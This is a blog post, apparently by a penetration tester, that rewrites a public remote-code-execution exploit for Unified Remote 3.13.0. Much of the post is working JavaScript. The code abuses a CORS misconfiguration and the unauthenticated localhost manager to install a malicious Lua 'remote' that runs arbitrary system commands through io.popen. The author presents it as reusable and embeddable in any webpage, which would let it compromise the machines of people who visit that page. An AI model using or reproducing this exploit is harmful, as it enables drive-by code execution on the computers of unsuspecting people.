Most of the time, when doing Penetration Testing or even just solving CTFs, I tend to encounter vulnerable software that already has a PoC or Exploit for me to use. Regardless of the type of the exploit, I figured that most of them are - in fact - Proof Of Concepts. They are not meant to be versatile.

Most of the time, all you need is to prove that a vulnerability exists.

And today, I want to share my journey with the Unified Remote exploit.

Unified Remote

I needed a program to control my PC from my phone to watch Netflix and whatnot without reaching for either a mouse or keyboard. Unified Remote was a good candidate.

I started to use the app and found some vulnerabilities in the long run but what I didn’t consider was “Has anyone else before me found those vulnerabilities?”.

Indeed, someone already had. Unified Remote 3.13.0 - Remote Code Execution (RCE)

First of all, we need to talk about how Unified Remote works.

How does the program work?

To control your PC, you need an app on your mobile phone that will connect to the server hosted on your PC. Therefore, the server exposes some ports.

address port Protocol
127.0.0.1 9510 (HTTP)
0.0.0.0 9512 (TCP & UDP)
0.0.0.0 9511 (UDP)

The HTTP service (that you can also change to HTTPS) serves two functions:

  • Managing the program
  • Using the web interface to control your PC (so you can use a browser from another PC to control the server)

Since port 9512 requires authentication (if set) and to be on the same network as the server and port 9511 is for automatic server discovery, we are going to focus on port 9510 even if the listening address is 127.0.0.1 and not directly accessible from outside, or maybe not?

Taking a look at the exploit

Oh my god, this is messy.

No shame for the hacker who found the vulnerability, but as a Software Developer, there’s a lot to unpack here.

Now I will describe what the exploit does:

  • It spawns a web server
  • The serving page contains a bunch of HTML and JavaScript code
  • It has a zip file saved in a variable, writes it on disk (?), opens it (??), changes the lua script that contains the code that will run on the victim machine, saves the zip file on a new variable (???) and calls the os.system() function to delete the created zip file (????).
  • Upon the victim visits that specific page (in this case, http://<ip/domain>:<port>/index.html?base_fields=1), the javascript code in it will exploit the CORS misconfiguration to send, from the victim’s browser, a zip file containing a new “remote”.

Unified Remote allows you to add more remotes for custom programs or custom automation, so you can then later find it on the mobile device.

But apparently, the manager web interface does not require authentication since it’s assumed that only the owner of the PC is able to access it.

The CORS vulnerability allows us to force the victim browser to send the HTTP request on our behalf, and since no authentication is required and the CORS is misconfigured, the request gets accepted and the new “remote” gets installed.

Let’s take a look a the source code of the exploit.

We can see that there are a couple of variables encoded in base64.

  • html_404: a simple html code for the “not found” page
  • htmlpage: contains the javascript code that will perform the CORS misconfiguration. It has the zip file stored in a variable in base64
  • command: default is empty, but the user who will run the exploit will receive a pseudo-terminal where they can add the command to be executed.

htmlpage:

<html>
<body>
<p>My Demo Apache Site - Work In Progress, Stay Tuned!</p>
<script>
 let base64zip = "placeholderb64val";
 let binary = atob(base64zip);
 let array = [];
 for (let i = 0; i < binary.length; i++) {
   array.push(binary.charCodeAt(i));
 }

 let blob = new Blob([new Uint8Array(array)], { type: "application/octet-stream" });
 let xhr = new XMLHttpRequest();
 xhr.open("POST","http://localhost:9510/system/remote/add?filename=zipfilenametobechanged.zip",false);
 xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
 xhr.send(blob);
</script>
</body>
</html>

I really don’t like anything that I’m looking at, especially since it looks very messy also it requires you to let Python open a web server on your machine and doesn’t allow you to use the code in a web server that you already own or control.

And sadly, to change that, I have to write the code in JavaScript.

Rewriting the exploit

First of all, I tried to search online for a way to create file zips in JavaScript on the browser.

Lucky for me, there is. The library is called JSZip.

Pretty explanatory, but I’m gonna write the website example here:

var zip = new JSZip();
zip.file("Hello.txt", "Hello World\n");
var img = zip.folder("images");
img.file("smile.gif", imgData, {base64: true});
zip.generateAsync({type:"blob"})
.then(function(content) {
    // see FileSaver.js
    saveAs(content, "example.zip");
});

So we can create zip files and folders and write data inside files. That’s all we need to create the zip file that we need.

Upon inspection of the “remote” zip file that is used in the Python exploit and also from my tests, I understand what a remote needs.

This is the structure of the zip file:

remotename/
    ├── remote.lua
    └── meta.prop

So I wrote the following:

const genRanHex = size => [...Array(size)].map(() => Math.floor(Math.random() * 16).toString(16)).join('');

function CreateZip(lua_payload){
    let zip = new JSZip();
    let foldername = genRanHex(10);

    zip.file(foldername+"/meta.prop", metapropString);
    zip.file(foldername+"/remote.lua", lua_payload);

    zip.generateAsync(
        {
            type: "uint8array",
            mimeType: "application/octet-stream"
        }).then(function (generatedZip) {
            SendZip("newremote", generatedZip)
        }
    );
}

On the documentation of the zip library, it says that if a path is specified when creating a file and the folders do not exist, they will be created. So that’s handy.

For the SendZip function, I just slightly edited the Python exploit code:

let xhr = new XMLHttpRequest();
xhr.open("POST","http://localhost:9510/system/remote/add?filename="+zipname+".zip", false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(zipcontent);

But I wanted to also find a way to detect if the target was somehow exploitable. So what I did was still exploit the CORS misconfiguration and read the configuration file of Unified Exploit at http://localhost:9510/system/config.

The response of this GET request is gonna be a JSON containing the configuration, and what I figured out that works with identifying it is checking if the manager.web value is set to true. This is a little trick that allows me to confirm the presence of Unified Remote on the machine, but this can be changed into something more accurate. I thought of using it because if the manager.web is set to false, technically the manager webserver won’t work (and also technically, we can’t exploit the vulnerability nor check if Unified Remote is installed).

async function Initiator(lua_payload){
    let url = "http://localhost:9510/system/config";
    await fetch(url).then(response => {
        if (response.ok) {
            return response.json();
        }
        }).then(data => {
            if (data.manager.web == true){
                CreateZip(lua_payload);
            }
        }).catch(error => {
            alert(error);
        }
    );
    return false;
}

This code is very verbose, so in case an error occurs, an alert window will appear on the browser.

Then I decided to write the function that you can call via JavaScript to initiate the exploit. I want the user to be allowed to select between writing their own Lua script or just using a simple script that will call io.popen to execute system commands.

function StartExploit(typeOfExploit, argument){
    let luaExec = `io.popen('COMMAND');`;
    console.log("Started");
    switch (typeOfExploit){
        case "command":
            var finalscript = luaExec.replace("COMMAND", argument);
            Initiator(finalscript);
            break;
        case "script":
            Initiator(argument);
            break;
        default:
            console.log("argument must be one of the following: [command, script]")
        break;
    }
}

You can call StartExploit in two ways:

  • command: Specifying the system command to run as argument.
  • script: Lua code needs to be passed as argument.
<!DOCTYPE html>
<head>

</head>
<body>
    <script src="exploit.js"></script>
    <script>
        let luaScript = `
        local http = libs.http;
	    http.get("https://yourdomain.com/", function (err, resp) 
		    print(err);
		    print(resp);
	    end);
        `;
        StartExploit("script", luaScript)
    </script>
</body>

or, to execute commands:

<!DOCTYPE html>
<head>

</head>
<body>
    <script src="exploit.js"></script>
    <script>
        StartExploit("command", "calc.exe")
    </script>
</body>

Custom remotes will be saved at C:\ProgramData\Unified Remote\Remotes\Custom. So it will leave traces.

And now, you can embed the exploit in any webpage you have write access to.

And that’s it! You can see the full code in my GitHub repository: Unified Remote RCE